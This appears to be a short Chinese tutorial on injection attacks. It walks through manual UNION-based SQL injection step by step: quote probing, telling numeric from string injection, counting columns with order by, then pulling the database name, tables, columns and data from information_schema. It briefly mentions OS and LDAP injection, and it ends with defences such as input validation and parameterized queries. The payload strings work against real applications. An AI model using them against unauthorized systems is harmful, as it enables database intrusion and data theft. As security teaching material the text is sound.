一、原理
攻击者向应用程序中国输入恶意代码,使其执行未经授权的操作,而应用程序又没有对用户的输入进行充分的验证和过滤,导致恶意代码能够执行。
二、攻击方式
-
SQL注入
定义
构造特定的输入,使得应用程序构造的SQL查询语句中带有未授权的操作的恶意语句,从而操纵数据库执行未授权语句。
判断SQL注入
1.判断是否存在注入
在参数后面加上单引号,如id=1'
原理:字符型注入和数字型注入都会因为单引号个数不匹配而报错(如果没报错,可能该网站不存在SQL注入,也可能该网站对单引号做了过滤,此时可以考虑使用判断语句进行注入)
2.判断注入类型
id=1 and 1=1页面正常运行,id=1 and 1=2页面运行错误,则为数字型注入
(原理:id=1 and 1=1是在id=1后面加入一个恒为真的式子,返回正常,而and 1=2虽然语法正确,但是逻辑错误,为假,返回错误)
id=1 and ‘1’=‘1页面正常运行,id=1 and ’1‘=’2页面运行错误,则为字符型注入
(原理:id=1 and ‘1’=‘1是在id=1后面加入一个恒为真的式子,返回正常,而and ’1‘=’2虽然语法正确,但是逻辑错误,为假,返回错误)
3.爆字段个数
order by n
order by 4返回界面会显示4是未知列,而3不会,所以判断出有3列
4.爆显示位置
union select 1,2,....n(n为列数)
有些会显示一些数字,此时查询数据库名等信息时就只能在该数字位置查询
5.爆数据库名、版本、用户等信息
以查询数据库名为例:union select 1,2,database()
根据查询结果可知,该数据库名为security
6.爆数据库下的所有表名
union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=’数据库名‘
7.爆表中的字段名
union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=’数据库名‘ and table_name='表名'
8.爆字段内容
union select 1,2,group_concat(字段名) from '表名'
-
OS注入
当应用程序允许执行系统语句时,攻击者可以构造输入,使得应用程序执行恶意系统命令。
LDAP注入等
三、防御方法
验证和过滤用户输入
使用参数化查询
如有错误,欢迎指正!!!